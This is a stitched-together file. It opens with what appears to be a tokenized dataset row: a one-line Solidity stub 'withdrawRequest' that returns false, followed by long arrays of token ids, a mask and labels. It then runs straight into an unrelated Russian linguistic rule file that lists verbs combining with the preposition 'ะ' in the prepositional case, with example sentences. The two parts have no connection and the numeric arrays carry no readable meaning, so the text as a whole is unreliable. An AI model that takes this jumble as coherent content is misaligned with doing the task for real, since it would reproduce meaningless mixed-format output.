function withdrawRequest(uint /*_amount*/) public returns (bool) {
return false;
}
| 12,570,637 |
[
1,
6062,
445,
7120,
635,
729,
29288,
364,
279,
598,
9446,
287,
6062,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
598,
9446,
691,
12,
11890,
1748,
67,
8949,
5549,
13,
1071,
1135,
261,
6430,
13,
288,
203,
202,
202,
2463,
629,
31,
203,
202,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
๏ปฟ// ะกะพัะตัะฐะตะผะพััั ะณะปะฐะณะพะปะพะฒ (ะธ ะพัะณะปะฐะณะพะปัะฝัั
ัะฐััะตะน ัะตัะธ) ั ะฟัะตะดะปะพะถะฝัะผ
// ะฟะฐััะตัะฝะพะผ.
// LC->07.08.2018
facts ะณะป_ะฟัะตะดะป language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ะะ_ะะะค(v) ะธะฝัะธะฝะธัะธะฒ:v{}, ะณะปะฐะณะพะป:v{}
#region ะัะตะดะปะพะณ_ะ
// ------------------- ะก ะะ ะะะะะะะ 'ะ' ---------------------------
#region ะัะตะดะปะพะถะฝัะน
// ะะปะฐะณะพะปั ะธ ะพัะณะปะฐะณะพะปัะฝัะต ัะฐััะธ ัะตัะธ, ะฟัะธัะพะตะดะธะฝัััะธะต
// ะฟัะตะดะปะพะถะฝะพะต ะดะพะฟะพะปะฝะตะฝะธะต ั ะฟัะตะดะปะพะณะพะผ ะ ะธ ััั. ะฒ ะฟัะตะดะปะพะถะฝะพะผ ะฟะฐะดะตะถะต.
wordentry_set ะะป_ะ_ะัะตะดะป =
{
rus_verbs:ะฒะทะพัะฒะฐัััั{}, // ะ ะะฐะณะตััะฐะฝะต ะฒะทะพัะฒะฐะปัั ะฐะฒัะพะผะพะฑะธะปั
// ะฒะตัะฝััั ะฟะพัะปะต ะฟะตัะตะบะพะผะฟะธะปััะธะธ rus_verbs:ะฟะพะดะพัะพะถะฐัั{}, // ะ ะะฐะณะตััะฐะฝะต ะฟะพะดะพัะพะถะฐะป ั
ะปะตะฑ
rus_verbs:ะฒะพะตะฒะฐัั{}, // ะะพะตะฒะฐะป ะฒะพ ะคัะฐะฝัะธะธ.
rus_verbs:ัััะฐัั{}, // ะฃััะฐะปะธ ะฒ ะดะพัะพะณะต?
rus_verbs:ะธะทะฝัะฒะฐัั{}, // ะ ะะพะฝะดะพะฝะต ะงะตััะธะปะปั ะธะทะฝัะฒะฐะป ะพั ะฝะตัะตัะฟะตะฝะธั.
rus_verbs:ัะตัะธัั{}, // ะงัะพ ัะตัะฐั ะฒ ะฟัะฐะฒะธัะตะปัััะฒะต?
rus_verbs:ะฒััะบะฐะบะธะฒะฐัั{}, // ะะดะธะฝ ะธะท ะฑะพะนัะพะฒ ะฝะฐ ัะปะธัั ะฒััะบะฐะบะธะฒะฐะตั.
rus_verbs:ะพะฑััะพััั{}, // ะ ะดะตะนััะฒะธัะตะปัะฝะพััะธ ะถะต ะดะตะปะพ ะพะฑััะพัะปะพ ะฝะต ัะฐะบ.
rus_verbs:ะฟะพะดัะผะฐัััั{},
rus_verbs:ะฟะพะตั
ะฐัั{}, // ะฟะพะตะดะตะผ ะฒ ัะฐะบัะธ!
rus_verbs:ัะตั
ะฐัั{}, // ะพะฝ ัะตั
ะฐะป ะฒ ัะฐะบัะธ
rus_verbs:ะฟัะธะฑััั{}, // ะพะฝะธ ะฟัะธะฑัะปะธ ะฒ ะบะฐัะตััะฒะต ะฝะตะทะฐะฒะธัะธะผัั
ะฝะฐะฑะปัะดะฐัะตะปะตะน
rus_verbs:ะะะะะงะะขะฌ{},
rus_verbs:ะะะะะงะะขะฌ{},
rus_verbs:ะะะะะงะะขะฌะกะฏ{},
rus_verbs:ะะะะะงะะขะฌะกะฏ{},
rus_verbs:ะะะ ะฏะะะขะฌะกะฏ{},
rus_verbs:ะะะ ะฏะะะขะฌะกะฏ{},
rus_verbs:ะะะะะะฏะขะฌะกะฏ{}, // ะฟะพะฒะฐะปัะฒัะธัั ะฒ ัะฝะตะณั, ะฑะตะถะฐัั ะพะฑัะฐัะฝะพ ะฒ ัะตะฟะปะพ.
rus_verbs:ะะะะ ะซะะะขะฌ{}, // ะะพ ะผะฝะพะณะธั
ะผะตััะฐั
ะตะต ะฟะพะบััะฒะฐะปะธ ััะตัะธะฝั, ะฝะฐัะพััั ะธ ะดะพะฒะพะปัะฝะพ ะฟะปะพัะบะธะต ะฒััััะฟั. (ะะะะ ะซะะะขะฌ)
rus_verbs:ะะ ะะะะะะขะฌ{}, // ะกะธะฝะธะน ะปัั ะธัะบัะธะปัั ะฑะตะปัะผะธ ะฟััะฝะฐะผะธ ะธ ะฟัะพะถะธะณะฐะป ะฒ ะทะตะผะปะต ะดัะผัััััั ะฑะพัะพะทะดั. (ะะ ะะะะะะขะฌ)
rus_verbs:ะะซะงะะขะฌ{}, // ะ ะพะณัะพะผะฝะพะน ะบััะต ัะตะป ะถะฐะปะพะฑะฝะพ ะผััะฐะปะธ ะทะฐะดะฐะฒะปะตะฝะฝัะต ัััะฟะฐะผะธ ะธ ัะฐะฝะตะฝัะต ะฑะธะทะพะฝั. (ะะซะงะะขะฌ)
rus_verbs:ะ ะะะะะะะะงะะขะฌ{}, // ะญัะธ ัััะตััะฒะฐ ะพะฑััะฝะพ ัะฐะทะฑะพะนะฝะธัะฐะปะธ ะฒ ััะตั
ััะฐั
ะผะธะปัั
ะพัััะดะฐ (ะ ะะะะะะะะงะะขะฌ)
rus_verbs:ะะะฏะงะะขะฌ{}, // ะ ะพัะดะฐะปะตะฝะธะธ ะผะฐััะธะปะธ ะพะณัะพะผะฝัะต ัะตััะต ัััะธ ะผะฐััะพะดะพะฝัะพะฒ ะธ ะผะฐะผะพะฝัะพะฒ ั ะธะทะพะณะฝัััะผะธ ะฑะธะฒะฝัะผะธ. (ะะะฏะงะะขะฌ/ะะะะะฏะงะะขะฌ)
rus_verbs:ะะะะะฏะงะะขะฌ{},
rus_verbs:ะะะกะขะะกะฌ{}, // ะะพะฝะธ ะฝะตัะปะธัั ะฒะฟะตัะตะด ะฒ ัะฒะพะฑะพะดะฝะพะผ ะธ ะปะตะณะบะพะผ ะณะฐะปะพะฟะต (ะะะกะขะะกะฌ)
rus_verbs:ะะะะซะขะฌ{}, // ะะฝะธ ะฝะฐะดะตัะปะธัั ะทะฐััะฐัั "ะผะตะดะฒะตะถะธะน ะฝะฐัะพะด" ะฒัะฐัะฟะปะพั
ะธ ะดะพะฑััั ะฒ ะฑะพั ะณะพะปะพะฒั ะฒะตะปะธัะฐะนัะตะณะพ ะธะท ะฒะพะธะฝะพะฒ. (ะะะะซะขะฌ)
rus_verbs:ะกะะฃะกะขะะขะฌ{}, // ะัะตะผั ะพั ะฒัะตะผะตะฝะธ ะณัะพั
ะพั ะธะปะธ ะฒะพะฟะปั ะพะฑััะฒะปัะปะธ ะพ ัะฟััะตะฝะฝะพะน ะณะดะต-ัะพ ะฒะพ ะดะฒะพััะต ะปะพะฒััะบะต. (ะกะะฃะกะขะะขะฌ)
rus_verbs:ะะะ ะะะะะซะะะขะฌะกะฏ{}, // ะะฝะฐ ััะทะธะปะฐ ะณะปะฐะทะฐ, ะฝะฐ ะปะธัะต ะตะต ััะฐะปะฐ ะพะฑัะฐะทะพะฒัะฒะฐัััั ะผะฐัะบะฐ ะฑะตะทัะผะธั. (ะะะ ะะะะะซะะะขะฌะกะฏ)
rus_verbs:ะะะจะะขะฌ{}, // ะฒ ััะพะผ ัะฐะนะพะฝะต ะบะธัะผั ะบะธัะตะปะธ ัะฐะทะฑะพะนะฝะธะบะธ ะธ ะดัะฐะบะพะฝั. (ะะะจะะขะฌ)
rus_verbs:ะะซะจะะขะฌ{}, // ะะฝะฐ ััะถะตะปะพ ะดััะฐะปะฐ ะฒ ัะธัะบะฐั
ะณะฝะตะฒะฐ (ะะซะจะะขะฌ)
rus_verbs:ะะะะะะะขะฌ{}, // ัะพั ะทะฐะดะตะฒะฐะป ะฒ ะฝะตะผ ะบะฐะบัั-ัะพ ััััะฝั (ะะะะะะะขะฌ)
rus_verbs:ะฃะกะขะฃะะะขะฌ{}, // ะขะฐะบ ััะพ ัะตะฟะตัั ััััะฟะธ ะผะฝะต ะฒ ััะพะผ. (ะฃะกะขะฃะะะขะฌ)
rus_verbs:ะขะะ ะฏะขะฌ{}, // ะฅะพัั ะพะฝ ั
ะพัะพัะพ ะฟะธัะฐะปัั, ะพะฝ ัะตััะป ะฒ ะฒะตัะต (ะขะะ ะฏะขะฌ/ะะะขะะ ะฏะขะฌ)
rus_verbs:ะะพะขะะ ะฏะขะฌ{},
rus_verbs:ะฃะขะะ ะฏะขะฌ{},
rus_verbs:ะ ะะกะขะะ ะฏะขะฌ{},
rus_verbs:ะกะะซะะะขะฌะกะฏ{}, // ะกะปะพะฒะฝะพ ะผะตะดะปะตะฝะฝะพ ัะผัะบะฐััะธะนัั ะฒะพ ัะฝะต ะณะปะฐะท, ะพัะฒะตัััะธะต ะผะตะดะปะตะฝะฝะพ ะทะฐะบััะฒะฐะปะพัั. (ะกะะซะะะขะฌะกะฏ/ะกะะะะะฃะขะฌะกะฏ, + ะพะฑะพัะพั ั ะกะะะะะ/ะะฃะะขะ + ะฒะธะฝ.ะฟ.)
rus_verbs:ะกะะะะะฃะขะฌะกะฏ{},
rus_verbs:ะ ะะะะะ ะะจะะขะฌ{}, // ะะพะปัั ะฝะต ัะทะฝะฐะป ะฝะธะบะฐะบะธั
ะพัะดะตะปัะฝัั
ัะปะพะฒ, ะฝะพ ะทะฒัะบะธ ะธ ะฒะทะฐะธะผะพะดะตะนััะฒัััะฐั ะฒััะพัะฐ ัะพะฝะพะฒ ัะฐะทะฒะพัะพัะธะปะธ ััะพ-ัะพ ะฒ ะตะณะพ ะฟะฐะผััะธ. (ะ ะะะะะ ะะจะะขะฌ)
rus_verbs:ะะ ะะกะขะะฏะขะฌ{}, // ะะฝ ะฟะพะดะฝัะปัั ะธ ะฝะตะบะพัะพัะพะต ะฒัะตะผั ะฟัะพััะพัะป ะฒ ะทะฐะดัะผัะธะฒะพััะธ. (ะะ ะะกะขะะฏะขะฌ,ะะซะกะขะะฏะขะฌ,ะะะกะขะะฏะขะฌ)
rus_verbs:ะะซะกะขะะฏะขะฌ{},
rus_verbs:ะะะกะขะะฏะขะฌ{},
rus_verbs:ะะะะะกะะขะฌ{}, // ะะฝ ะฟะพะดะฝัะป ะธ ะฒะทะฒะตัะธะป ะฒ ััะบะต ะพะดะธะฝ ะธะท ัะพะณะพะฒ ะธะทะพะฑะธะปะธั. (ะะะะะกะะขะฌ/ะะะะะจะะะะขะฌ)
rus_verbs:ะะะะะจะะะะขะฌ{},
rus_verbs:ะะ ะะะคะะะะขะฌ{}, // ะะฝ ะธ ัะพะณะดะฐ ะฝะต ัะฟะฐะดะตั, ะฐ ะฑัะดะตั ะดัะตะนัะพะฒะฐัั ะฒ ะพัะฑัะฐััะฒะฐะตะผะพะน ะดะธัะบะพะผ ัะตะฝะธ. (ะะ ะะะคะะะะขะฌ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฑัััััะน{}, // ะะธัะตะปั ะฑัััั ะฒ ะฟัะธะณะพัะพะฒะปะตะฝะธะธ
rus_verbs:ะฟัะธะทะฒะฐัั{}, // ะ ะะตะฝั ะะพะปะธ ะฑะตะปะพัััะพะฒ ะฟัะธะทะฒะฐะปะธ ะฟะพะฑะพัะพัั ัััะฐั
ะธ ะปะตะฝั
rus_verbs:ะฟัะธะทัะฒะฐัั{},
rus_verbs:ะะะกะะะะฌะะะะะขะฌะกะฏ{}, // ััะธะผะธ ะดะตะฝัะณะฐะผะธ ัะผะพะณั ะฒะพัะฟะพะปัะทะพะฒะฐัััั ะฒ ะพัะฟััะบะต (ะะะกะะะะฌะะะะะขะฌะกะฏ)
rus_verbs:ะะะะะฃะ ะะ ะะะะขะฌ{}, // ะะฐัะธ ะบะปัะฑั ะผะพะณะปะธ ะฑั ะฒ ะะฝะณะปะธะธ ะบะพะฝะบััะธัะพะฒะฐัั ั ะปะธะดะตัะฐะผะธ (ะะะะะฃะ ะะ ะะะะขะฌ)
rus_verbs:ะะะะะะขะฌ{}, // ะะผะตัะธะบะฐะฝัะบัั ัะตะปะตะฒะตะดัััั ะฟะพะทะฒะฐะปะธ ะทะฐะผัะถ ะฒ ะฟััะผะพะผ ััะธัะต (ะะะะะะขะฌ)
rus_verbs:ะะซะฅะะะะขะฌ{}, // ะ ะฐะนะพะฝะฝัะต ะณะฐะทะตัั ะะพะปะพะณะพะดัะธะฝั ะฑัะดัั ะฒัั
ะพะดะธัั ะฒ ัะฒะตัะต ะธ ะฝะพะฒะพะผ ัะพัะผะฐัะต (ะะซะฅะะะะขะฌ)
rus_verbs:ะ ะะะะะ ะะงะะะะขะฌะกะฏ{}, // ะกัะถะตั ััะฝัะตะทะธ ัะฐะทะฒะพัะฐัะธะฒะฐะตััั ะฒ ะดะฒัั
ะผะธัะฐั
(ะ ะะะะะ ะะงะะะะขะฌะกะฏ)
rus_verbs:ะะะกะฃะะะขะฌ{}, // ะ ะกะฐะผะฐัะต ะพะฑััะดะธะปะธ ะฟะตััะฟะตะบัะธะฒั ะธะฝัะพัะผะฐัะธะทะฐัะธะธ ะฒะตัะตัะธะฝะฐัะธะธ (ะะะกะฃะะะขะฌ)
rus_verbs:ะะะะ ะะะะฃะขะฌ{}, // ะพะฝะฐ ัะธะปัะฝะพ ะฒะทะดัะพะณะฝัะปะฐ ะฒะพ ัะฝะต (ะะะะ ะะะะฃะขะฌ)
rus_verbs:ะะ ะะะกะขะะะะฏะขะฌ{}, // ะกะตะฝะฐัะพัั, ะฟัะตะดััะฐะฒะปัััะธะต ะฒ ะะพะผะธัะตัะต ะฟะพ ัะฐะทะฒะตะดะบะต ะพะฑะต ะฟะฐััะธะธ, ะฟะพะดะดะตัะถะฐะปะธ ััั ะฟัะพััะฑั (ะะ ะะะกะขะะะะฏะขะฌ)
rus_verbs:ะะะะะะะ ะะะะขะฌ{}, // ะฒ ั
ะธะผะธัะตัะบะพะผ ัะพััะฐะฒะต ะพะดะฝะพะน ะธะท ะฟะปะฐะฝะตั ะดะพะผะธะฝะธััะตั ะผะตัะฐะฝ (ะะะะะะะ ะะะะขะฌ)
rus_verbs:ะะขะะ ะซะขะฌ{}, // ะััะผ ะพัะบััะป ะฒ ะะพัะบะฒะต ัะพะฑััะฒะตะฝะฝัะน ัััะธััะธัะตัะบะธะน ะพัะธั (ะะขะะ ะซะขะฌ)
rus_verbs:ะะะะะะะขะฌ{}, // ะ ะััะบะธะฝัะบะพะผ ะผัะทะตะต ะฟะพะบะฐะทะฐะปะธ ะทะพะปะพัะพ ะธะฝะบะพะฒ (ะะะะะะะขะฌ)
rus_verbs:ะฝะฐะฑะปัะดะฐัั{}, // ะะฐะฑะปัะดะฐะตะผัะน ะฒ ะพััะฐะถะตะฝะธะธ ัะฒะตั ะธะทะปััะตะฝะธั
rus_verbs:ะะ ะะะะขะะขะฌ{}, // ะััะฟะฝัะน ะฐััะตัะพะธะด ะฟัะพะปะตัะตะป ะฒ ะฝะตะฟะพััะตะดััะฒะตะฝะฝะพะน ะฑะปะธะทะพััะธ ะพั ะะตะผะปะธ (ะะ ะะะะขะะขะฌ)
rus_verbs:ะ ะะกะกะะะะะะะขะฌ{}, // ะ ะะฐะณะตััะฐะฝะต ัะฐััะปะตะดััั ัะฑะธะนััะฒะพ ัะตะดะตัะฐะปัะฝะพะณะพ ััะดัะธ (ะ ะะกะกะะะะะะะขะฌ)
rus_verbs:ะะะะะะะะะะขะฌะกะฏ{}, // ะ ะะตะผะตัะพะฒัะบะพะน ะพะฑะปะฐััะธ ะฒะพะทะพะฑะฝะพะฒะธะปะพัั ะดะฒะธะถะตะฝะธะต ะฟะพ ััะฐััะฐะผ ะผะตะถะดัะฝะฐัะพะดะฝะพะณะพ ะทะฝะฐัะตะฝะธั (ะะะะะะะะะะขะฌะกะฏ)
rus_verbs:ะะะะะะะขะฌะกะฏ{}, // ะธะทะผะตะฝะธะปะฐัั ะพะฝะฐ ะฒะพ ะฒัะตะผ (ะะะะะะะขะฌะกะฏ)
rus_verbs:ะกะะะ ะะะขะฌ{}, // ะทะฐ ัะธัะพะบะธะผ ะพะบะฝะพะผ ะบะพะผะฝะฐัั ะณะพัะพะด ัะฒะตัะบะฐะป ะฒะพ ััะผะต ัะฐะทะฝะพัะฒะตัะฝัะผะธ ะพะณะฝัะผะธ (ะกะะะ ะะะขะฌ)
rus_verbs:ะกะะะะงะะขะฌะกะฏ{}, // ะ ะ ะธะผะต ัะบะพะฝัะฐะปัั ัะตะถะธัััั ะทะฝะฐะผะตะฝะธัะพะณะพ ัะตัะธะฐะปะฐ ยซะกะฟัััยป (ะกะะะะงะะขะฌะกะฏ)
rus_verbs:ะะ ะฏะขะะขะฌะกะฏ{}, // Cะบััััะต ัะฟััะฝะธะบะธ ะฟััััััั ะฒ ะบะพะปััะฐั
ะกะฐัััะฝะฐ (ะะ ะฏะขะะขะฌะกะฏ)
rus_verbs:ะะซะะซะะะขะฌ{}, // ััะพั ัะตะปะพะฒะตะบ ะฒัะตะณะดะฐ ะฒัะทัะฒะฐะป ะฒะพ ะผะฝะต ะฒะพัั
ะธัะตะฝะธะต (ะะซะะซะะะขะฌ)
rus_verbs:ะะซะะฃะกะขะะขะฌ{}, // ะะทะฑะธัะฐัะตะปัะฝัะต ะฑัะปะปะตัะตะฝะธ ะผะพะณัั ะฒัะฟัััะธัั ะฒ ัะพัะผะต ะฑัะพัััั (ะะซะะฃะกะขะะขะฌ)
rus_verbs:ะะะงะะะะขะฌะกะฏ{}, // ะ ะะพัะบะฒะต ะฝะฐัะธะฝะฐะตััั ยซะผะฐัั ะฒ ะทะฐัะธัั ะดะตัะตะนยป (ะะะงะะะะขะฌะกะฏ)
rus_verbs:ะะะกะขะ ะะะะขะฌ{}, // ะ ะะฐะณะตััะฐะฝะต ะทะฐัััะตะปะธะปะธ ะฟัะตะฟะพะดะฐะฒะฐัะตะปั ะผะตะดัะตัะต (ะะะกะขะ ะะะะขะฌ)
rus_verbs:ะฃะ ะะะะฏะขะฌ{}, // ะะพัะทะฐะบะฐะทัะธะบะพะฒ ััะฐะฒะฝััั ะฒ ะฟัะฐะฒะฐั
ั ะฟะพััะฐะฒัะธะบะฐะผะธ (ะฃะ ะะะะฏะขะฌ)
rus_verbs:ะฟัะพะผะฐั
ะฝััััั{}, // ะฒ ะฟะตัะฒะพะน ะฟะพะปะพะฒะธะฝะต ะฝะตะฒะตัะพััะฝัะผ ะพะฑัะฐะทะพะผ ะฟัะพะผะฐั
ะฝัะปัั ัะบั-ัะพัะฒะฐัะด ะผะพัะบะพะฒัะบะพะณะพ ะฆะกะะ
rus_verbs:ะะะซะะ ะะขะฌ{}, // "ะ ัะฑะธะฝ" ัะตะฝัะฐัะธะพะฝะฝะพ ะพะฑัะณัะฐะป ะฒ ะะฐะดัะธะดะต ะฒัะพััั ะบะพะผะฐะฝะดั ะัะฟะฐะฝะธะธ (ะะะซะะ ะะขะฌ)
rus_verbs:ะะะะฎะงะะขะฌ{}, // ะ ะงะตะปัะฑะธะฝัะบะพะน ะพะฑะปะฐััะธ ะฒะบะปััะตะฝ ะฐะฒะฐัะธะนะฝัะน ัะพัะผะธะฝะณ (ะะะะฎะงะะขะฌ)
rus_verbs:ะฃะงะะกะขะะขะฌะกะฏ{}, // ะ ัะตะปะฐั
ะะฐะปะฐะบะพะฒัะบะพะณะพ ัะฐะนะพะฝะฐ ััะฐััะธะปะธัั ัะปััะฐะธ ะฟะพะดะถะพะณะพะฒ ััะพะณะพะฒ ัะตะฝะฐ (ะฃะงะะกะขะะขะฌะกะฏ)
rus_verbs:ะกะะะกะขะ{}, // ะ ะะฒัััะฐะปะธะธ ัะฟะฐัะปะธ ะฟะพะฒะธััะตะณะพ ะฝะฐ ะฟัะพะฒะพะดะต ะบะพัััะฝะฐ (ะกะะะกะขะ)
rus_verbs:ะะซะะะกะขะฌ{}, // ะัะดะตะปัะฝัะต ััะฐะณะผะตะฝัั ะดะพััะธะณะปะธ ะทะตะผะปะธ, ะฒัะฟะฐะฒ ะฒ ะฒะธะดะต ะผะตัะตะพัะธัะฝะพะณะพ ะดะพะถะดั (ะะซะะะกะขะฌ)
rus_verbs:ะะะะ ะะะะขะฌ{}, // ะ ะะพะฝะดะพะฝะต ะฝะฐะณัะฐะดะธะปะธ ะปะฐััะตะฐัะพะฒ ะฟัะตะผะธะธ Brit Awards (ะะะะ ะะะะขะฌ)
rus_verbs:ะะขะะ ะซะขะฌะกะฏ{}, // ะฒ ะะพัะบะฒะต ะพัะบััะปัั ะฟะตัะฒัะน ะผะตะถะดัะฝะฐัะพะดะฝัะน ะบะธะฝะพัะตััะธะฒะฐะปั
rus_verbs:ะะะะะะะะขะฌะกะฏ{}, // ะฒะพ ะผะฝะต ะฟะพะดะฝะธะผะฐะปะพัั ัะฐะทะดัะฐะถะตะฝะธะต
rus_verbs:ะะะะะ ะจะะขะฌะกะฏ{}, // ะ ะัะฐะปะธะธ ะทะฐะฒะตััะธะปัั ััะฐะดะธัะธะพะฝะฝัะน ะะตะฝะตัะธะฐะฝัะบะธะน ะบะฐัะฝะฐะฒะฐะป (ะะะะะ ะจะะขะฌะกะฏ)
ะธะฝัะธะฝะธัะธะฒ:ะฟัะพะฒะพะดะธัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะัะทะฑะฐััะบะธะต ะดะตะฟััะฐัั ะฟัะพะฒะพะดัั ะฒ ะะตะผะตัะพะฒะต ะฟัะธะตะผ ะณัะฐะถะดะฐะฝ
ะณะปะฐะณะพะป:ะฟัะพะฒะพะดะธัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะฟัะพะฒะพะดั{},
rus_verbs:ะพััััััะฒะพะฒะฐัั{}, // ะฅะพะทัะนะบะฐ ะบะฒะฐััะธัั ะฒ ััะพั ะผะพะผะตะฝั ะพััััััะฒะพะฒะฐะปะฐ
rus_verbs:ะดะพะปะพะถะธัั{}, // ะพะฑ ะธัะพะณะฐั
ัะฒะพะตะณะพ ะฒะธะทะธัะฐ ะพะฝ ะฝะฐะผะตัะตะฝ ะดะพะปะพะถะธัั ะฒ ะฐะผะตัะธะบะฐะฝัะบะพะผ ัะตะฝะฐัะต ะธ ะะตะปะพะผ ะดะพะผะต (ะะะะะะะขะฌ ะะ, ะ ะฟัะตะดะป)
rus_verbs:ะะะะะะะขะฌะกะฏ{}, // ะ ะญะนะปะฐัะต ะธะทะดะตะฒะฐัััั ะฝะฐะด ัััะธััะฐะผะธ (ะะะะะะะขะฌะกะฏ ะ ะฟัะตะดะป)
rus_verbs:ะะะ ะฃะจะะขะฌ{}, // ะ ะฝะตัะบะพะปัะบะธั
ัะตะณะธะพะฝะฐั
ะฝะฐัััะตะฝะพ ะฝะฐะทะตะผะฝะพะต ััะฐะฝัะฟะพััะฝะพะต ัะพะพะฑัะตะฝะธะต (ะะะ ะฃะจะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะะะะะขะฌ{}, // ะดะฐะปะตะบะพ ะฒะฝะธะทั ะฒะพ ััะผะต ะฑะตะถะฐะปะฐ ะฝะตะฒะธะดะธะผะฐั ัะตะบะฐ (ะะะะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะกะะะ ะะขะฌะกะฏ{}, // ะะผะธััะธะน ะพะณะปัะดะตะป ัะพะฑัะฐะฒัะธั
ัั ะฒะพ ะดะฒะพัะต ะผะฐะปััะธัะตะบ (ะกะะะ ะะขะฌะกะฏ ะ ะฟัะตะดะป)
rus_verbs:ะะะกะะซะจะะขะฌะกะฏ{}, // ะดะฐะปะตะบะพ ะฒะฒะตัั
ั ะฒะพ ััะผะต ะฟะพัะปััะฐะปัั ะพัะฒะตั (ะะะกะะซะจะะขะฌะกะฏ ะ ะฟัะตะดะป)
rus_verbs:ะะะะะะะขะฌะกะฏ{}, // ะฒะพ ะดะฒะพัะต ะฟะพะบะฐะทะฐะปะฐัั ะฒััะพะบะฐั ัะธะณััะฐ (ะะะะะะะขะฌะกะฏ ะ ะฟัะตะดะป)
rus_verbs:ะฃะะซะะะฃะขะฌะกะฏ{}, // ะะผะธััะธะน ะณะพััะบะพ ัะปัะฑะฝัะปัั ะฒะพ ััะผะต (ะฃะะซะะะฃะขะฌะกะฏ ะ ะฟัะตะดะป)
rus_verbs:ะขะฏะะฃะขะฌะกะฏ{}, // ัะฑะตะถะธัะฐ ััะฝัะปะธัั ะฒะพ ะฒัะตั
ะฝะฐะฟัะฐะฒะปะตะฝะธัั
(ะขะฏะะฃะขะฌะกะฏ ะ ะฟัะตะดะป)
rus_verbs:ะ ะะะะขะฌ{}, // ะ ะฐะผะตัะธะบะฐะฝัะบะพะผ ัะฝะธะฒะตััะธัะตัะต ัะฐะฝะธะปะธ ัะตะปะพะฒะตะบะฐ (ะ ะะะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะะะฅะะะขะะขะฌ{}, // ะะธัะฐัั ะพัะฒะพะฑะพะดะธะปะธ ะบะพัะฐะฑะปั, ะทะฐั
ะฒะฐัะตะฝะฝัะน ะฒ ะะฒะธะฝะตะนัะบะพะผ ะทะฐะปะธะฒะต (ะะะฅะะะขะะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะ ะะะะะะะขะฌะกะฏ{}, // ะปัะดะธ ัะฐะทะฑะตะณะฐะปะธัั ะฒะพ ะฒัะตั
ะฝะฐะฟัะฐะฒะปะตะฝะธัั
(ะ ะะะะะะะขะฌะกะฏ ะ ะฟัะตะดะป)
rus_verbs:ะะะะะกะะฃะขะฌ{}, // ะฒะพ ะฒัะตะผ ะดะพะผะต ะฟะพะณะฐั ัะฒะตั (ะะะะะกะะฃะขะฌ ะ ะฟัะตะดะป)
rus_verbs:ะะะจะะะะะะขะฌะกะฏ{}, // ะะผะธััะธะน ะฟะพัะตะฒะตะปะธะปัั ะฒะพ ัะฝะต (ะะะจะะะะะะขะฌะกะฏ ะ ะฟัะตะดะป)
